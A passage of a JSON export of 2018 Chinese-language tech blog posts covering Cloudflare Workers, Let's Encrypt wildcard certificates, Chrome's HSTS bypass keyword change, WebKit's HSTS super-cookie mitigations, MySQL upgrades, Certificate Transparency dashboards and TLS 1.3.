href=\"https://blog.gslin.org/archives/2017/09/16/7553/google-chrome-%E5%B0%8D-symantec-%E5%85%A8%E7%B3%BB%E5%88%97%E6%86%91%E8%AD%89%E7%9A%84%E4%B8%8D%E4%BF%A1%E4%BB%BB%E8%A8%88%E7%95%AB/\">Google Chrome 對 Symantec 全系列憑證的不信任計畫</a>」這篇)，看起來 Mozilla 的計畫也差不多，但時間有些差異...",
    "title": "今年十月 Firefox 將完全不信任 Symantec 簽出的 SSL Certificate"
  },
  {
    "id": "8197",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈 <a href=\"https://www.cloudflare.com/products/cloudflare-workers/\">Cloudflare Workers</a> 開放使用了：「<a href=\"https://blog.cloudflare.com/cloudflare-workers-unleashed/\">Everyone can now run JavaScript on Cloudflare with Workers</a>」。先前的消息可以參考「<a href=\"https://blog.gslin.org/archives/2018/02/02/8102/cloudflare-worker-%E9%80%B2%E5%85%A5-open-beta-%E8%AE%93%E5%A4%A7%E5%AE%B6%E7%8E%A9%E4%BA%86/\">Cloudflare Worker 進入 Open Beta 讓大家玩了...</a>」與「<a href=\"https://blog.gslin.org/archives/2017/09/30/7598/cloudflare-%E4%B9%9F%E8%83%BD%E5%9C%A8%E5%90%84%E7%AB%AF%E9%BB%9E%E8%B7%91-javascript-%E4%BA%86/\">Cloudflare 也能在各端點跑 JavaScript 了</a>」。\r\n\r\n價錢還直接做一張圖出來，每一百萬次 request 收費 USD$0.5，然後低消是 USD$5/month (也就是一千萬次 request)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N9aRqhj.webp\" /><img src=\"https://i.gslin.com/imgur/N9aRqhj.jpg\" alt=\"\" /></picture>\r\n\r\n相當於是多了一些選擇，擋在前面做些簡單的事情應該還不錯...",
    "title": "Cloudflare Workers 開放使用"
  },
  {
    "id": "8198",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到這則 tweet，<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 正式開放 Wildcard Certificate 了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Let&#39;s Encrypt wildcard certificates and ACMEv2 are available today! More information can be found here: <a href=\"https://t.co/0SdH98Oabn\">https://t.co/0SdH98Oabn</a></p>&mdash; Let&#39;s Encrypt (@letsencrypt) <a href=\"https://twitter.com/letsencrypt/status/973607502188195840?ref_src=twsrc%5Etfw\">March 13, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n參考「<a href=\"https://community.letsencrypt.org/t/acme-v2-and-wildcard-certificate-support-is-live/55579\">ACME v2 and Wildcard Certificate Support is Live</a>」這邊的說明，裡面有提到 Wildcard Certificate 需要有 ACMEv2 的 client：\r\n\r\n<blockquote>Wildcard certificates are only available via ACMEv2. In order to use ACMEv2 for wildcard or non-wildcard certificates you’ll need a client that has been updated to support ACMEv2. It is our intent to transition all clients and subscribers to ACMEv2, though we have not set an end-of-life date for our ACMEv1 API yet.</blockquote>\r\n\r\n翻了一下「<a href=\"https://letsencrypt.org/docs/client-options/\">ACME Client Implementations</a>」，我常用的 <a href=\"https://dehydrated.de/\">dehydrated</a> 也支援 ACMEv2 了，而且剛好前幾天我更新了 PPA (參考「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated\">PPA for dehydrated : Gea-Suan Lin</a>」)，把最新版 (0.5.0 後的 6e802dd) 包進去了，等下來測試看看要怎麼玩 XDDD\r\n\r\n然後我之後打算把 <a href=\"https://letsencrypt.tw/\">letsencrypt.tw</a> 的資料改丟到我的 Wiki 上，這樣改起來比較簡單...",
    "title": "Let's Encrypt 的 Wildcard Certificate 開放使用！"
  },
  {
    "id": "8199",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2016/09/14/6841/%E5%9C%A8-google-chrome-%E9%80%A3%E4%B8%8A%E5%9B%A0-hsts-%E8%80%8C%E7%84%A1%E6%B3%95%E9%80%A3%E7%B7%9A%E7%9A%84%E7%B6%B2%E7%AB%99/\">在 Google Chrome 連上因 HSTS 而無法連線的網站</a>」中提到的關鍵字 <code>badidea</code> 在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 65 發現沒用了，找了一下發現是被換掉了：「<a href=\"https://www.reddit.com/r/sysadmin/comments/82rnr6/chrome_65_replaces_the_badidea_bypass_keyword/\">Chrome 65 replaces the \"badidea\" bypass keyword with \"thisisunsafe\"</a>」，這 <a href=\"https://www.reddit.com/\">Reddit</a> 的標題就說明了換成什麼了 XDDD\r\n\r\n而且從 source code 裡面可以看到，本來是明碼的 <code>badidea</code>，改用 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/atob\">window.atob</a> 來存了：「<a href=\"https://chromium.googlesource.com/chromium/src/+/d8fc089b62cd4f8d907acff6fb3f5ff58f168697%5E%21/#F0\">Diff - d8fc089b62cd4f8d907acff6fb3f5ff58f168697^! - chromium/src - Git at Google</a>」。\r\n\r\nanyway，要記其他的字串了 XDDD",
    "title": "本來 Google Chrome 要繞過 HSTS 的 badidea 被換掉了..."
  },
  {
    "id": "8200",
    "body": "在「<a href=\"https://changelog.com/news/python-2-eol-will-be-20200101-NRw2\">Python 2 EOL will be 2020-01-01</a>」這邊看到的，文章標題的連結是 mailing list 上的內容：「<a href=\"https://mail.python.org/pipermail/python-dev/2018-March/152348.html\">[Python-Dev] Python 2.7 -- bugfix or security before EOL?</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Guido_van_Rossum\">Guido van Rossum</a> (<a href=\"https://www.python.org/\">Python</a> 的發明人) 在回覆關於「<a href=\"https://devguide.python.org/\">Python Developer’s Guide &#8212; Python Developer&#39;s Guide</a>」上面的資訊時的說明... 大約還有一年九個多月的時間。\r\n\r\n然後發現原來 Python 在 release 時是會發佈 PEP 的，像是「<a href=\"https://www.python.org/dev/peps/pep-0373/\">PEP 373 -- Python 2.7 Release Schedule</a>」這樣的資訊。其他版本可以在索引頁「<a href=\"https://www.python.org/dev/peps/\">PEP 0 -- Index of Python Enhancement Proposals (PEPs) | Python.org</a>」翻到。",
    "title": "Python 2 的 EoL 日期將會是 2020 年年初"
  },
  {
    "id": "8202",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈把文件丟上 <a href=\"https://github.com/\">GitHub</a> 讓大家參與修改：「<a href=\"https://aws.amazon.com/blogs/aws/aws-documentation-is-now-open-source-and-on-github/\">AWS Documentation is Now Open Source and on GitHub</a>」，整包放在「<a href=\"https://github.com/awsdocs/\">Amazon Web Services - Documentation</a>」這邊。\r\n\r\n看了一下授權的部份，文件大多是 Creative Commons Attribution-ShareAlike 4.0 International Public License (在 SUMMARY 的部份會寫「Creative Commons Attribution-ShareAlike 4.0 International License」)，而 sample code 用的授權看起來有點像 MIT license 或是 ISC license，但比對了一下好像不是這兩個...\r\n\r\n這樣做另外的好處是有歷史記錄，要查一些歷史故事的時候比較好查...",
    "title": "AWS 文件丟上 GitHub 讓大家可以提供意見"
  },
  {
    "id": "8203",
    "body": "看到「<a href=\"http://roughjs.com/\">Rough.js</a>」這個專案，可以拿來產生手繪感的圖，像這些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9JZ23LY.webp\" /><img src=\"https://i.gslin.com/imgur/9JZ23LY.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IK92nzl.webp\" /><img src=\"https://i.gslin.com/imgur/IK92nzl.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2YczIwr.webp\" /><img src=\"https://i.gslin.com/imgur/2YczIwr.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QCz7K9F.webp\" /><img src=\"https://i.gslin.com/imgur/QCz7K9F.jpg\" alt=\"\" /></picture>\r\n\r\n先記錄起來...",
    "title": "拿來畫手繪感的 Rough.js"
  },
  {
    "id": "8204",
    "body": "<a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 3 推出了 Model B+ 的新版本：「<a href=\"https://www.raspberrypi.org/blog/raspberry-pi-3-model-bplus-sale-now-35/\">Raspberry Pi 3 Model B+ on sale now at $35</a>」。\r\n\r\n除了 CPU 速度稍微快一些以外，另外支援了 802.11ac/5Ghz 的無線網路 (官方宣稱可以跑到 ~102Mbps，相較於先前在 2.4Ghz 只能跑到 ~35Mbps)，以及更快的有線網路 (官方宣稱可以跑到 ~315Mbps，相較於先前的 ~95Mbps)。\r\n\r\n然後是支援 <a href=\"https://en.wikipedia.org/wiki/Preboot_Execution_Environment\">PXE</a>：\r\n\r\n<blockquote>Raspberry Pi 3B was our first product to support PXE Ethernet boot. Testing it in the wild shook out a number of compatibility issues with particular switches and traffic environments. Gordon has rolled up fixes for all known issues into the BCM2837B0 boot ROM, and PXE boot is now enabled by default.</blockquote>\r\n\r\n以及支援 PoE 直接推動整台機器：\r\n\r\n<blockquote>We use a magjack that supports Power over Ethernet (PoE), and bring the relevant signals to a new 4-pin header. We will shortly launch a PoE HAT which can generate the 5V necessary to power the Raspberry Pi from the 48V PoE supply.</blockquote>\r\n\r\n或是吃更多電 XDDD\r\n\r\n<blockquote>Note that Raspberry Pi 3B+ does consume substantially more power than its predecessor. We strongly encourage you to use a high-quality 2.5A power supply, such as the official Raspberry Pi Universal Power Supply.</blockquote>\r\n\r\n所以看到這張圖時就不意外了 XDDD (風扇！)\r\n\r\n<img src=\"https://i.gslin.com/imgur/0zRXjGT.jpg\" alt=\"\" />\r\n\r\n只是風扇的細節要再找一下，在產品頁上好像沒看到...\r\n\r\n<strong>Update</strong>：風扇那張圖的產品頁看起來在「<a href=\"https://www.raspberrypi.org/products/poe-hat/\">Raspberry Pi PoE HAT</a>」這頁 (參考下面的 comment)。",
    "title": "Raspberry Pi 3 的新版本 Model B+"
  },
  {
    "id": "8207",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://webkit.org/\">WebKit</a> 對 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 所產生的 Super Cookie 提出的改善方案：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">How WebKit crumbles the &quot;Super Cookie&quot;. <a href=\"https://t.co/iwOpjM8p9f\">https://t.co/iwOpjM8p9f</a></p>&mdash; WebKit (@webkit) <a href=\"https://twitter.com/webkit/status/974707373758668800?ref_src=twsrc%5Etfw\">March 16, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n拿原文的例子來說明，先指定一個隨機數給 user，像是 <code>8396804</code> (二進位是 <code>100000000010000000000100</code>)，所以就存取下面的網址：\r\n\r\n<pre>https://bit02.example.com\r\nhttps://bit13.example.com\r\nhttps://bit23.example.com</pre>\r\n\r\n在存取這些 HTTPS 網址時都會指定 HSTS，所以之後連到這三個網址的 HTTP request 就不會觸發到 HTTP 版本，會因為 HSTS 被轉到 HTTPS 版本。於是就可以用 32 個 HTTP request 測試 32bits 而判斷出身份。(當然你可以用更多)\r\n\r\nWebKit 提出的改善方案大概有幾種，主要是就觀察到的現象來限制。\r\n\r\n第一種解法「Mitigation 1: Limit HSTS State to the Hostname, or the Top Level Domain + 1」是因為會看到這樣的設計：\r\n\r\n<pre>https://a.a.a.a.a.a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.a.example.com\r\nhttps://a.a.a.a.a.a.a.example.com\r\n…etc...</pre>\r\n\r\n<pre>https://bit00.example.com\r\nhttps://bit01.example.com\r\nhttps://bit02.example.com\r\n...etc...\r\nhttps://bit64.example.com</pre>\r\n\r\n所以提出的方案是只有目前網站的 domain 以及 top domain + 1 (像是 <code>example.com</code>) 可以被設定 HSTS：\r\n\r\n<blockquote>Telemetry showed that attackers would set HSTS across a wide range of sub-domains at once. Because using HSTS in this way does not benefit legitimate use cases, but does facilitate tracking, we revised our network stack to only permit HSTS state to be set for the loaded hostname (e.g., “https://a.a.a.a.a.a.a.a.a.a.a.a.a.example.com”), or the Top Level Domain + 1 (TLD+1) (e.g., “https://example.com”).</blockquote>\r\n\r\n但其實廣告主只需要註冊 32 domains (或是 64) 就可以避開這個問題。\r\n\r\n第二種是「Mitigation 2: Ignore HSTS State for Subresource Requests to Blocked Domains」，如果在 HTTPS 頁面上，某個 domain 的 cookie 已經因為某些原因被阻擋 (像是手動設定)，那麼就忽略掉 HSTS 的設計：\r\n\r\n<blockquote>We modified WebKit so that when an insecure third-party subresource load from a domain for which we block cookies (such as an invisible tracking pixel) had been upgraded to an authenticated connection because of dynamic HSTS, we ignore the HSTS upgrade request and just use the original URL. This causes HSTS super cookies to become a bit string consisting only of zeroes.</blockquote>\r\n\r\n後面這點在現在因為 SEO 設計而使得各大網站都往 HTTPS 方向走，應該會有些幫助吧...",
    "title": "WebKit 對 HSTS Super Cookie 提出的改法"
  },
  {
    "id": "8210",
    "body": "在「<a href=\"http://lefred.be/content/migrating-to-mysql-8-0-without-breaking-old-application/\">Migrating to MySQL 8.0 without breaking old application</a>」這邊看到這個有趣的故事 XD 這是作者的應用程式 <a href=\"https://www.drupal.org/\">Drupal</a> 從 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.5 一路升級到 8.0 的過程記錄...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EFsF5dD.webp\" /><img src=\"https://i.gslin.com/imgur/EFsF5dD.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lpLOHHZ.webp\" /><img src=\"https://i.gslin.com/imgur/lpLOHHZ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ae9SgQy.webp\" /><img src=\"https://i.gslin.com/imgur/Ae9SgQy.jpg\" alt=\"\" /></picture>\r\n\r\n真正的問題發生在 5.7 到 8.0：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W5gJr6n.webp\" /><img src=\"https://i.gslin.com/imgur/W5gJr6n.jpg\" alt=\"\" /></picture>\r\n\r\n原因是 Drupal 用到關鍵字了：\r\n\r\n<blockquote>In fact, this old Drupal, uses a table name that is now part of the reserved keywords. It’s always advised to verify what are the new keywords reserved for MySQL itself. New features can also mean new keywords sometimes.</blockquote>\r\n\r\n修正後就好了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UYtPc6s.webp\" /><img src=\"https://i.gslin.com/imgur/UYtPc6s.jpg\" alt=\"\" /></picture>\r\n\r\n話說依照「<a href=\"https://en.wikipedia.org/wiki/File:Drupal_release_timeline.png\">File:Drupal release timeline.png</a>」這邊的資訊，Drupal 6.2 也十年左右了？應該是 PDO 剛開始要推廣的年代，不知道他跑哪個版本的 <a href=\"https://secure.php.net/\">PHP</a>...\r\n\r\n另外 MySQL 的升級意外的順利？雖然是一步一步升，但沒遇到什麼大問題...",
    "title": "一路從 MySQL 5.5 升級到 MySQL 8.0 的故事..."
  },
  {
    "id": "8211",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/eastdakota\">Matthew Prince</a> (<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的創辦人與現任 CEO) 提到了目前的進展，貼出一張兩者用電量的差距 (235W 與 150W)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Why we’re switching to ARM-based servers in one image. Both servers running the same workload at the same performance. <a href=\"https://t.co/wMFKS0Avkt\">pic.twitter.com/wMFKS0Avkt</a></p>&mdash; Matthew Prince (@eastdakota) <a href=\"https://twitter.com/eastdakota/status/976560820611031040?ref_src=twsrc%5Etfw\">March 21, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n兩者差了 85W，如果以五年來算就差了 3723 度的電，另外再考慮 <a href=\"https://en.wikipedia.org/wiki/Power_usage_effectiveness\">PUE</a> 與機櫃空間租用的成本，長期應該是頗有機會換掉原來的 x86 系統。反過來看，短期有轉換測試成本以及 (可能會有的) 較高的故障率 (畢竟是白老鼠 XD)，再來是機器本身價錢差距，這些都是會想要知道的...\r\n\r\n在 tweet 後 Matthew Prince 有回答一些問題，另外可以看到後續會有更多細節會整理出來，但感覺應該是調整的差不多決定會換過去了？這邊算是延續去年十一月「<a href=\"https://blog.gslin.org/archives/2017/11/09/7745/cloudflare-%E6%B8%AC%E8%A9%A6-arm-%E6%96%B0%E7%9A%84%E4%BC%BA%E6%9C%8D%E5%99%A8/\">Cloudflare 測試 ARM 新的伺服器</a>」這篇所做的事情，當時他們拿到 <a href=\"https://www.arm.com/\">ARM</a> 的工程板在測試，就已經跟 <a href=\"https://en.wikipedia.org/wiki/Xeon\">Xeon</a> 打的差不多 (有輸有贏)，現在應該又改善更多...\r\n\r\n看 retweet 數可以看出來大家還滿期待的，畢竟 ARM 上面的 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 本來就因為行動裝置很熱，現在主要還是差在有沒有穩定的伺服器可以用。",
    "title": "Cloudflare 用 ARM 當伺服器的進展..."
  },
  {
    "id": "8212",
    "body": "在「<a href=\"https://www.percona.com/blog/2018/03/21/flush-and-lock-handling-in-percona-xtradb-cluster/\">FLUSH and LOCK Handling in Percona XtraDB Cluster</a>」這邊看到在 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 內各種不同形式的 LOCK 指令會有不同的效果。有些跟一開始用的印象已經不太一樣了...\r\n\r\n<code>FLUSH TABLE WITH READ LOCK</code> 與 <code>FLUSH TABLE &lt;tablename&gt; (WITH READ LOCK|FOR EXPORT)</code> 都會直接讓整個 node 卡住，但 <code>LOCK TABLE &lt;tablename&gt; READ/WRITE</code> 就只會卡對應的表格，另外 <code>GET_LOCK</code> 本來應該是完全不支援，現在似乎變成 experimental 的功能了 (參考「<a href=\"https://www.percona.com/doc/percona-xtradb-cluster/LATEST/features/pxc-strict-mode.html\">PXC Strict Mode</a>」這邊)，這樣一來 <a href=\"https://github.com/mogilefs\">MogileFS</a> 的資料庫部分就可以在上面跑了嗎？(當初就是因為這個問題而另外弄一組 <a href=\"https://en.wikipedia.org/wiki/Distributed_Replicated_Block_Device\">DRBD</a> + <a href=\"https://en.wikipedia.org/wiki/Heartbeat_(program)\">Heartbeat</a> 的 <a href=\"https://dev.mysql.com/\">MySQL</a> 起來跑 XD)\r\n\r\n之後看一下什麼時候加進去的...",
    "title": "Percona XtraDB Cluster 裡各種與 LOCK 相關的指令會產生的效果"
  },
  {
    "id": "8214",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 也支援 <a href=\"https://aws.amazon.com/route53/\">Route 53</a> 提供的 Service Discovery 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/03/introducing-service-discovery-for-amazon-ecs/\">Introducing Service Discovery for Amazon ECS</a>」。\r\n\r\n也就是說現在都整合好了... 比較一下先前需要自己包裝起來套用的方式會少不少功夫：\r\n\r\n<blockquote>Previously, to ensure that services were able to discover and connect with each other, you had to configure and run your own service discovery system or connect every service to a load balancer. Now, you can enable service discovery for your containerized services with a simple selection in the ECS console, AWS CLI, or using the ECS API.</blockquote>\r\n\r\nAWS 在 2016 年的時候有寫一篇「<a href=\"https://aws.amazon.com/blogs/compute/service-discovery-for-amazon-ecs-using-dns/\">Service Discovery for Amazon ECS Using DNS</a>」在講怎麼透過事件的觸發配合 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 把服務掛上去或是移除掉：\r\n\r\n<blockquote>Recently, we proposed a reference architecture for ELB-based service discovery that uses Amazon CloudWatch Events and AWS Lambda to register the service in Amazon Route 53 and uses Elastic Load Balancing functionality to perform health checks and manage request routing. An ELB-based service discovery solution works well for most services, but some services do not need a load balancer.</blockquote>\r\n\r\n現在看起來都可以改用 Auto Naming API 了...",
    "title": "Amazon ECS 的 Service Discovery"
  },
  {
    "id": "8216",
    "body": "在「<a href=\"https://dustingram.com/articles/2018/03/16/markdown-descriptions-on-pypi\">Markdown Descriptions on PyPI</a>」這邊看到 <a href=\"https://pypi.python.org/\">PyPI</a> 的網站要支援 <a href=\"https://en.wikipedia.org/wiki/Markdown\">Markdown</a> 語法了，目前有 <code>markdown-description-example</code> 這個專案可以看效果。\r\n\r\n同一個 package，舊的在「<a href=\"https://pypi.python.org/pypi/markdown-description-example\">markdown-description-example 0.0.1 : Python Package Index</a>」這邊可以看到，新的則可以在「<a href=\"https://pypi.org/project/markdown-description-example/\">markdown-description-example · Warehouse Preview (PyPI)</a>」這邊看到。\r\n\r\ncode block 的地方看起來還不太好看，也許之後還會調整？",
    "title": "PyPI 支援 Markdown"
  },
  {
    "id": "8217",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 提到了在 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 上的模擬 (這邊應該是講 <a href=\"https://dev.mysql.com/\">MySQL</a>)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon Aurora Using Fault Injection Queries - <a href=\"https://t.co/ko5borSIPn\">https://t.co/ko5borSIPn</a> - Options to outright crash the server or to inject faults at random. <a href=\"https://t.co/Z3ULJjYwpl\">pic.twitter.com/Z3ULJjYwpl</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/977221690894704640?ref_src=twsrc%5Etfw\">March 23, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n指到的頁面是文件「<a href=\"https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/AuroraMySQL.Managing.html#AuroraMySQL.Managing.FaultInjectionQueries\">Managing Amazon Aurora MySQL - Amazon Relational Database Service</a>」，翻了一下 <a href=\"https://web.archive.org/\">Wayback Machine</a>，看起來之前就有了，只是現在拿出來再宣傳一下：「<a href=\"https://web.archive.org/web/20171208055444/https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/AuroraMySQL.Managing.html\">Managing Amazon Aurora MySQL - Amazon Relational Database Service</a>」。\r\n\r\n透過主動觸發 Amazon Aurora 異常，可以測試整個系統的後續反應：\r\n\r\n<ul>\r\n\t<li>A crash of the master instance or an Aurora Replica</li>\r\n\t<li>A failure of an Aurora Replica</li>\r\n\t<li>A disk failure</li>\r\n\t<li>Disk congestion</li>\r\n</ul>\r\n\r\n前面三種都屬於 Aurora 本身的故障測試，第四種除了有可能是 Aurora 本身的問題外，也可以測壓力過大時的情境 (i.e. 前面透過 auto scaling 撐住了，但後面的資料庫可能沒有足夠的能力支撐)。",
    "title": "AWS 提供模擬 Amazon Aurora 異常的測試功能..."
  },
  {
    "id": "8218",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 發表了他們的 CT (<a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a>) Dashboard：「<a href=\"https://blog.cloudflare.com/introducing-certificate-transparency-and-nimbus/\">Introducing Certificate Transparency and Nimbus</a>」。前面的篇幅解釋 CT 是什麼，以及為什麼要存在，另外也大略解釋了一下 <a href=\"https://www.google.com/\">Google</a> 要求要帶有 SCT (signed certificate timestamp) 的新規定 (基於 Browser 方，也就是 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的立場)。\r\n\r\n再來就是講 Cloudflare 推出的 Dashboard，也就是 <a href=\"https://ct.cloudflare.com/\">Merkle Town</a>。這個網站提供了網頁操作界面，讓大家可以了解現在 certificate 的情況。\r\n\r\n點了 Current 後，可以看到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的比率相當高，但 <a href=\"https://www.comodo.com/\">Comodo</a> 的量不算差 (以收費的情況來說)，再來是 <a href=\"https://www.digicert.com/\">DigiCert</a>。\r\n\r\n話說回來，當所有的 SSL certificate 都需要 SCT 後，相當於一般人就能夠很精確的統計市占率了，商業的憑證公司應該不是很開心... (當初 EV 也有類似的問題，不過現在 DV 已經被 Let's Encrypt 打趴了...)",
    "title": "Cloudflare 的 CT Dashboard"
  },
  {
    "id": "8220",
    "body": "前幾天找資料才發現原來 <a href=\"https://www.facebook.com/\">Facebook</a> 很早就有提供 <a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a> 相關的服務，可以用網域名稱搜尋查詢，甚至是訂閱：「<a href=\"https://www.facebook.com/notes/protect-the-graph/introducing-our-certificate-transparency-monitoring-tool/1811919779048165/\">Introducing our Certificate Transparency Monitoring tool</a>」。\r\n\r\n服務在「<a href=\"https://developers.facebook.com/tools/ct/\">Certificate Transparency Monitoring - Facebook for Developers</a>」這邊，搜尋與訂閱都可以在這邊處理。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JIHbecA.webp\" /><img src=\"https://i.gslin.com/imgur/JIHbecA.jpg\" alt=\"\" /></picture>\r\n\r\n打 <code>tp.edu.tw</code> 與 <code>ntpc.edu.tw</code> 可以看到不少學校都用 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的服務，像是「<a href=\"https://www.bhps.tp.edu.tw/\">臺北市內湖區碧湖國小全球資訊網</a>」這個 (雖然一進去就看到 flash...)。",
    "title": "Facebook 的 Certificate Transparency Monitoring 工具"
  },
  {
    "id": "8221",
    "body": "最近蠻熱的一個新聞，<a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.3 的 draft-ietf-tls-tls13-28.txt 進入 Proposed Standard 了 (在「<a href=\"https://datatracker.ietf.org/doc/draft-ietf-tls-tls13/\">draft-ietf-tls-tls13-28 - The Transport Layer Security (TLS) Protocol Version 1.3</a>」這邊可以看到歷史記錄)：「<a href=\"https://www.ietf.org/mail-archive/web/ietf-announce/current/msg17592.html\">Protocol Action: 'The Transport Layer Security (TLS) Protocol Version 1.3' to Proposed Standard (draft-ietf-tls-tls13-28.txt)</a>」。\r\n\r\n沒意外的話這就會是最終版本了。如果要看 TLS 1.2 與 TLS 1.3 的差異，看維基百科上的 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_1.3\">Transport Layer Security - TLS 1.3</a> 會比較清楚。\r\n\r\n大家等很久了... 像是 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.1.1 其實一部分也是在等 TLS 1.3 正式推出：(出自「<a href=\"https://www.openssl.org/blog/blog/2018/02/08/tlsv1.3/\">Using TLS1.3 With OpenSSL</a>」)\r\n\r\n<blockquote>OpenSSL 1.1.1 will not be released until (at least) TLSv1.3 is finalised. In the meantime the OpenSSL git master branch contains our development TLSv1.3 code which can be used for testing purposes (i.e. it is not for production use).</blockquote>\r\n\r\n主要還是期待非 <a href=\"https://www.nsa.gov/\">NSA</a> 派系的 cipher (其實幾乎都是 <a href=\"https://en.wikipedia.org/wiki/Daniel_J._Bernstein\">djb</a> 的戰果) 與 1-RTT handshake，後續等 TLS 1.3 變成 Standard Track 應該就會被各家瀏覽器開預設值了...",
    "title": "TLS 1.3 進入 Proposed Standard"
  },
  {
    "id": "8222",
    "body": "看到「<a href=\"https://www.theverge.com/2018/3/21/17147838/facebook-south-korea-slowing-user-internet-connections-reroute\">South Korea fines Facebook $369K for slowing user internet connections</a>」這則新聞，裡面提到 <a href=\"https://www.facebook.com/\">Facebook</a> 的 reroute 行為：\r\n\r\n<blockquote>The Korea Communications Commission (KCC) began investigating Facebook last May and found that the company had illegally limited user access, as reported by ABC News. Local South Korean laws prohibit internet services from rerouting users’ connections to networks in Hong Kong and US instead of local ISPs without notifying those users. In a few cases, such rerouting slowed down users’ connections by as much as 4.5 times.</blockquote>\r\n\r\n沒有告知使用者就導去香港或是美國的伺服器，聽起來像是 GeoDNS 的架構，以及 Facebook 的 CDN 架構幹的事情？不過在原報導裡面，另外一個指控是：\r\n\r\n<blockquote>The KCC probed claims that Facebook intentionally slowed access while it negotiated network usage fees with internet service providers.</blockquote>\r\n\r\n另外南韓官方也不承認使用者條款內的告知有效的：\r\n\r\n<blockquote>Facebook said it did not violate the law in part because its terms of use say it cannot guarantee its services will operate without delays or interference. KCC officials rejected that argument, saying the terms were unfair. It recommended the company amend its terms of use.</blockquote>\r\n\r\n現在看起來應該是要打官司？",
    "title": "Facebook 在南韓因為太慢被罰錢？？？"
  },
  {
    "id": "8224",
